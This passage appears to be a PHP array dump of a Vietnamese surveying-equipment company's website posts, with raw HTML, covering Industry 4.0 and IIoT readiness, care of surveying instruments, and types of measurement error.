style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" 